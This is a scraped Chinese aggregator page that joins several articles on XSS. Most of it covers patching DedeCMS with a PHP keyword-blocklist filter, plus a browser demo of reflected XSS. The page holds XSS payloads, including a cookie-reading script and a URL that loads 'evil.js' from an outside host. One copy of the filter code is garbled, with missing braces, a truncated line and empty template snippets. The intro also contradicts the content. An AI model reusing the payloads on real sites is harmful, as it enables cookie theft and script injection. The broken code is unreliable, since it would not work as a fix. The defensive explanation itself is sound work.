GVKun编程网logo

*源码网分享怎么修补XSS跨站脚本攻击(xss跨站脚本攻击修复)

17

如果您想了解*源码网分享怎么修补XSS跨站脚本攻击的相关知识,那么本文是一篇不可错过的文章,我们将对xss跨站脚本攻击修复进行全面详尽的解释,并且为您提供关于20170812-XSS跨站脚本攻击、De

如果您想了解*源码网分享怎么修补XSS跨站脚本攻击的相关知识,那么本文是一篇不可错过的文章,我们将对xss跨站脚本攻击修复进行全面详尽的解释,并且为您提供关于20170812-XSS跨站脚本攻击、DedeCMS 如何修补XSS跨站脚本攻击、DedeCMS 怎么修补XSS跨站脚本攻击、js中xss跨站脚本攻击的简单理解的有价值的信息。

本文目录一览:

*源码网分享怎么修补XSS跨站脚本攻击(xss跨站脚本攻击修复)

*源码网分享怎么修补XSS跨站脚本攻击(xss跨站脚本攻击修复)

 

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,

从而达到恶意 攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。

而本文主要讲的是利用XSS得到目标服务器的 shell。

技术虽然是织梦CMS老技术,但是其思路希望对大家有帮助。

 

首先打开文件:/include/common.func.php

在文件中加入函数

 


function RemoveXSS($val) { $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); $search = 'abcdefghijklmnopqrstuvwxyz'; $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $search .= '1234567890!@#$%^&*()'; $search .= '~`";:?+/={}[]-_|\'\\'; for ($i = 0; $i < strlen($search); $i++) { $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); } $ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); $ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); $ra = array_merge($ra1, $ra2); $found = true; while ($found == true) { $val_before = $val; for ($i = 0; $i < sizeof($ra); $i++) { $pattern = '/'; for ($j = 0; $j < strlen($ra[$i]); $j++) { if ($j > 0) { $pattern .= '('; $pattern .= '(&#[xX]0{0,8}([9ab]);)'; $pattern .= '|'; $pattern .= '|(&#0{0,8}([9|10|13]);)'; $pattern .= ')*'; } $pattern .= $ra[$i][$j]; } $pattern .= '/i'; $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); $val = preg_replace($pattern, $replacement, $val); if ($val_before == $val) { $found = false; } } } return $val; } <p>  


搜索 <strong>{dede:global name='keyword'

本文章网址:http://www.ppssdd.com/code/22160.html。转载请保留出处,谢谢合作!

20170812-XSS跨站脚本攻击

20170812-XSS跨站脚本攻击

XSS跨站脚本攻击:

XSS 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)缩写混淆, 所以将跨站脚本攻击缩写为XSS。 XSS是攻击者在web页面插入恶意的代码。当用户浏览该页面时,代码执行,从而实现攻击目的。对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击

XSS跨站脚本攻击分为:反射型(非持久型XSS)和持久型

反射型XSS:

用户点击攻击链接,服务器解析响应,在返回的响应内容中出现攻击者的XSS代码,被浏览器执行。这样,XSS攻击脚本被web server反射回来给浏览器执行,所以称为反射型XSS

正常链接,点击后会在页面显示hello 用户名
http://xxx.com?username=yang

页面输出
hello yang

如果我把上面的url变成这样,同时服务器没有做过滤
http://xxx.com?username=<script>alert("xss")</script>

页面会出现弹框,显示xss;可能会在上面的脚本中加入其它更加复杂的脚本

持久型XSS:

攻击者在相关页面输入恶意的脚本数据后,恶意脚本会被存放到到服务器的数据库。用户浏览页面时,会从数据库中查询数据,数据在页面的显示导致该恶意脚本会在页面中执行,浏览此页面的用户就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。

例如: 恶意用户 H 提交评论<script>console.log(document.cookie)</script>,然后用户 B 来访问网站,这段脚本会在B的浏览器直接执行,恶意用户 H 的脚本就可以任意操作 B 的 cookie,而 B 对此毫无察觉。有了 cookie,恶意用户 H 就可以伪造 B 的登录信息,随意访问 B 的隐私了。而 B 始终被蒙在鼓里。

DOM-based XSS

基于DOM的XSS,也就是web server不参与,仅仅涉及到浏览器的XSS。比如根据用户的输入来动态构造一个DOM节点,如果没有对用户的输入进行过滤,那么也可能导致XSS攻击的产生。

XSS的防御

XSS出现的原因是:在用户输入的时候没有做严格的过滤,在输出内容到浏览器页面时,也没有进行检查、转移和替换

使用XSS Filter

输入过滤,对用户提交的数据进行有效性验证,仅接受指定长度范围内并符合我们期望格式的的内容提交,阻止或者忽略除此外的其他任何数据。

DOM型的XSS型防御:

把变量输出到页面时要做好相关的编码转义工作,如要输出到 <script>中,可以进行JS编码;要输出到HTML内容或属性,则进行HTML编码处理(把"<"和">"转换为html字符实体)。根据不同的语境采用不同的编码处理方式。

将重要的cookie标记为http only

这样的话当浏览器向Web服务器发起请求的时就会带上cookie字段,但是在脚本中却不能访问这个cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie

CSP: Content-Security-Policy(内容安全策略)

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性,减少(注意这里是减少而不是消灭)跨站脚本攻击。

启用CSR(内容安全策略)的方法

  • 通过 HTTP 头信息的Content-Security-Policy的字段:默认配置下,会阻止内联代码执行,可以在一定程度上防止。这里的内联代码包括:<script>块内容,内联事件,内联样式。

图片描述

  • 通过HTML的<meta>标签。
<meta http-equiv="Content-Security-Policy" content="xxxxxxxxxx">

参考

http://www.imooc.com/article/...

DedeCMS 如何修补XSS跨站脚本攻击

DedeCMS 如何修补XSS跨站脚本攻击

 XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意HTML代码,当用户浏览该页之时,嵌入其中Web里面的HTML代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。
 
  首先打开文件:/include/common.func.PHP
 
  在文件中加入函数:
 
copy to Clipboard Codes引用的内容:[www.jb51.cc]
function RemoveXSS($val) { 
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/','',$val); 
 
$search = 'abcdefghijklmnopqrstuvwxyz'; 
$search .= 'ABCDEFGHIJKLMnopQRSTUVWXYZ'; 
$search .= '1234567890!@#$%^&*()'; 
$search .= '~`";:?+/={}[]-_|\'\\'; 
for ($i = 0; $i < strlen($search); $i++) { 
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i',$search[$i],$val); 
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/',$val); 
 
$ra1 = array('javascript','vbscript','expression','applet','Meta','xml','blink','link','style','script','embed','object','iframe','frame','frameset','ilayer','layer','bgsound','title','base'); 
$ra2 = array('onabort','onactivate','onafterprint','onafterupdate','onbeforeactivate','onbeforecopy','onbeforecut','onbeforedeactivate','onbeforeeditfocus','onbeforepaste','onbeforeprint','onbeforeunload','onbeforeupdate','onblur','onbounce','oncellchange','onchange','onclick','oncontextmenu','oncontrolselect','oncopy','oncut','ondataavailable','ondatasetchanged','ondatasetcomplete','ondblclick','ondeactivate','ondrag','ondragend','ondragenter','ondragleave','ondragover','ondragstart','ondrop','onerror','onerrorupdate','onfilterchange','onfinish','onfocus','onfocusin','onfocusout','onhelp','onkeydown','onkeypress','onkeyup','onlayoutcomplete','onload','onlosecapture','onmousedown','onmouseenter','onmouseleave','onmousemove','onmouSEOut','onmouSEOver','onmouseup','onmousewheel','onmove','onmoveend','onmovestart','onpaste','onpropertychange','onreadystatechange','onreset','onresize','onresizeend','onresizestart','onrowenter','onrowexit','onrowsdelete','onrowsinserted','onscroll','onselect','onselectionchange','onselectstart','onstart','onstop','onsubmit','onunload'); 
$ra = array_merge($ra1,$ra2); 
 
$found = true; 
while ($found == true) { 
$val_before = $val; 
for ($i = 0; $i < sizeof($ra); $i++) { 
$pattern = '/'; 
for ($j = 0; $j < strlen($ra[$i]); $j++) { 
if ($j > 0) { 
$pattern .= '('; 
$pattern .= '(&#[xX]0{0,8}([9ab]);)'; 
$pattern .= '|'; 
$pattern .= '|(&#0{0,8}([9|10|13]);)'; 
$pattern .= ')*'; 
$pattern .= $ra[$i][$j]; 
$pattern .= '/i'; 
$replacement = substr($ra[$i],2).'
$val = preg_replace($pattern,$replacement,$val); 
if ($val_before == $val) { 
$found = false; 
return $val; 
}
然后在过滤显示的标签中修改,例如:/templets/default/search.htm,将:
 
copy to Clipboard Codes引用的内容:[www.jb51.cc]
搜索
修改为:
 
copy to Clipboard Codes引用的内容:[www.jb51.cc]
搜索
这样就可以了,当然其他地方显示的地方也可以通过这个函数过滤掉。

总结

以上是小编为你收集整理的DedeCMS 如何修补XSS跨站脚本攻击全部内容。

如果觉得小编网站内容还不错,欢迎将小编网站推荐给好友。

Dedecms相关文章

织梦系统 dedecms pagelist标签使用修改方法介绍
在Dedecms织梦列表页中是肯定要使用pagelist标签的,但是有的时候也会因为一些css格式的问题会出现排列顺序的问题,所以也要知道怎么样修改pagelist标签?
织梦网站怎么搬家?dede系统网站迁移数据到另外个服务器
今天分享织梦网站怎么搬家,个人感觉织梦的搬家比其他的程序的都简单。1、网站备份登录织梦后台,【系统】-【数据库备份/还原】-【提交】,织梦程序开始自动备份数据库,等待即可。
织梦网站安全设置方法 dede系统网站如何配置才安全?
织梦(dede)程序不安全是公认的,同样是建站,使用织梦程序被黑的风险更大,所以,一些安全设置是非常有必要的。织梦网站安全设置的4个主要操作
织梦自动生成网站地图sitemap代码 dede生成sitemap站点地图的代码实例
使用xemu、爱站工具包、尖叫青蛙等制作网站地图,每次生成sitemap还需要再上传到服务器,还是比较麻烦的,不过有些网站程序可以通过插件完成网站地图的自动更新,比如wordpress。但是织梦一直都不行,今天就用插件+代
dede织梦纯代码制作网站地图 dede网站地图生成代码
分享织梦自动生成网站sitemap,但是需要安装插件,今天分享,织梦如何不使用插件,制作网站xml地图。
织梦dede自定义表单添加全选功能 dede自定义表单实操代码
织梦自定义表单没有全选/取消全选功能,有时候想要全选全,需要一个一个选择比较麻烦,如果网站有大量的恶意留言,想要删除更麻烦。虽然可以使用sql命令删除恶意留言,但不是很灵活,今天就给织梦自定义表单添加全选
dede cms如何定时主动推送文章 dede实现定时推送文章给百度的方法
前几天百度公开课说了,api推送的优先级比较高,所以在没有快速收录的情况下,api提交必须要有,那么织梦要如何实现api主动推送呢?
织梦dede发布文章实时api主动推送
dede定时主动推送,虽然也很方便,但只能固定时间推送,实时性不高,今天小编分享如何发布文章后实时api推送至百度?
  • • 织梦系统 dedecms pagelist标签使用修改
  • • 织梦网站怎么搬家?dede系统网站迁移数
  • • 织梦网站安全设置方法 dede系统网站如何
  • • 织梦自动生成网站地图sitemap代码 dede
  • • dede织梦纯代码制作网站地图 dede网站地
  • • 织梦dede自定义表单添加全选功能 dede自
  • • dede cms如何定时主动推送文章 dede实现
  • • 织梦dede发布文章实时api主动推送
  • • 织梦dedecms当前位置标签代码的5种写法
  • • 织梦DEDECMS文章、栏目页获取当前页面顶
JavaScriptPHPsqlMysqLwindows使用wordpressAJAXList方法系统文件安装Nginx教程数据库设置Woocommerc服务器pdf错误获取创建显示函数用户更新添加IIS删除自定义代码进行.htaccess调用软件选择功能属性下载

DedeCMS 怎么修补XSS跨站脚本攻击

DedeCMS 怎么修补XSS跨站脚本攻击

 

 XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。

 

  首先打开文件:/include/common.func.php

 

  在文件中加入函数:

 

Copy to ClipboardLiehuo.Net Codes引用的内容:[]

function RemoveXSS($val) { 

$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); 

 

$search = 'abcdefghijklmnopqrstuvwxyz'; 

$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 

$search .= '1234567890!@#$%^&*()'; 

$search .= '~`";:?+/={}[]-_|\'\\'; 

for ($i = 0; $i < strlen($search); $i++) { 

$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); 

$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); 

 

$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 

$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 

$ra = array_merge($ra1, $ra2); 

 

$found = true; 

while ($found == true) { 

$val_before = $val; 

for ($i = 0; $i < sizeof($ra); $i++) { 

$pattern = '/'; 

for ($j = 0; $j < strlen($ra[$i]); $j++) { 

if ($j > 0) { 

$pattern .= '('; 

$pattern .= '(&#[xX]0{0,8}([9ab]);)'; 

$pattern .= '|'; 

$pattern .= '|(&#0{0,8}([9|10|13]);)'; 

$pattern .= ')*'; 

$pattern .= $ra[$i][$j]; 

$pattern .= '/i'; 

$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); 

$val = preg_replace($pattern, $replacement, $val); 

if ($val_before == $val) { 

$found = false; 

return $val; 

}

然后在过滤显示的标签中修改,例如:/templets/default/search.htm,将:

 

Copy to ClipboardLiehuo.Net Codes引用的内容:[]

<p> 

搜索 <strong>{dede:global name='keyword'/}</strong> 的结果 

</p>

修改为:

 

Copy to ClipboardLiehuo.Net Codes引用的内容:[]

<p> 

搜索 <strong>{dede:global name='keyword' function='RemoveXSS(@me)'/}</strong> 的结果 

</p>

这样就可以了,当然其他地方显示的地方也可以通过这个函数过滤掉。

本文章网址:http://www.ppssdd.com/code/3832.html。转载请保留出处,谢谢合作!

js中xss跨站脚本攻击的简单理解

js中xss跨站脚本攻击的简单理解

跨站脚本,称为xss这个术语用来表示一类的安全问题,指攻击者向目标web站点注入html标签或者脚本。

来一个小栗子

 substring 返回介于两者之间的字符串,如果省去最后一个参数,则直接以length为填充window.location.search 返回/后面内容包括问号返回?后面的参数window.location.search.substring(1)decodeURIComponent() 将url进行解码,返回解码后的utf-8格式
<!doctype html>
<html>
<head>
    <title>这是标题</title>
    <meta charset="utf-8">
</head>
<body>
    <script>
        var name = decodeURIComponent(window.location.search.substring(1));    // 获取参数
        console.log(name);
        document.write("hello " + name);
    </script>
</body>
</html>
登录后复制

访问

http://abc.com:8887/?%20word
登录后复制
本地使用web server for chrome 完成了本地静态服务器的搭建,使用host文件,强制修改home.abc.com 以及 abc.com 到 127.0.0.1 完成域名的绑定,因为js脚本不能本地运行,因为有跨域的限制

页面输出

 hello word
登录后复制

这是一个灰常正经的页面。
下面如果尝试输入

http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script
登录后复制

事实上现在的浏览器很智能了。。已经自动解析了。已经自动暂停解析了,最后加上%3e被浏览器拦截,自动的,去掉以后,由于容错机制,自动生成
好吧,要不是这容错机制,xss还没法实验呢。无奈,现在太智能了,小白的手法,已经不行喽

<script>
</script>
登录后复制
登录后复制

导致能允许。好吧,去掉自动拦截,chrome直接禁止访问了。╮(╯▽╰)╭
使用的是预解析,自动平衡树

此时script变身成为

document.write(&#39;hello &#39; + <script>alert("David")</script)
登录后复制

好啦,接着,就会出现一个弹窗,David
因为使用这个url自动生成一个另外一个脚本,由于浏览器自动的安全措施,所以使用浏览器页面预解析,写一个不平衡的树,初始浏览器解析的时候自动添加上

<script>
</script>
登录后复制
登录后复制
事实上,现在基本上都会屏蔽掉的,和sql注入一样,都是非常小白的攻击手法。╮(╯▽╰)╭

导致出现弹窗,xss完成
接着下面还有
使用src引入一个脚本。

http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E
登录后复制

这样就完成了一次脚本的注入。会将其他站点的脚本,通过连接进行注入。
可以对该站点的内容做任何的操作,以及读取cookie,以及将数据发送回站点

事实上浏览器插件就是这样干的,在页面中加入js脚本,通过更改页面的js来达到对页面修改的目的

预防

通过使用replace()全部替换为实体即可。

name = name.replace(/</g, "<"),replace(/>/g, ">");
登录后复制

总结

xss和sql注入一样,属于小白攻击法,要说简单也很简单,要说难也很难

拒绝服务攻击

如果一个站点无限弹窗,浏览器会卡死。包括使用js挖矿什么的,都不值得一提了。

相关文章:

利用PHP编程防范XSS跨站脚本攻击

如何利用php防止XSS跨站脚本攻击

以上就是js中xss跨站脚本攻击的简单理解的详细内容,更多请关注php中文网其它相关文章!

今天关于*源码网分享怎么修补XSS跨站脚本攻击xss跨站脚本攻击修复的分享就到这里,希望大家有所收获,若想了解更多关于20170812-XSS跨站脚本攻击、DedeCMS 如何修补XSS跨站脚本攻击、DedeCMS 怎么修补XSS跨站脚本攻击、js中xss跨站脚本攻击的简单理解等相关知识,可以在本站进行查询。

本文标签: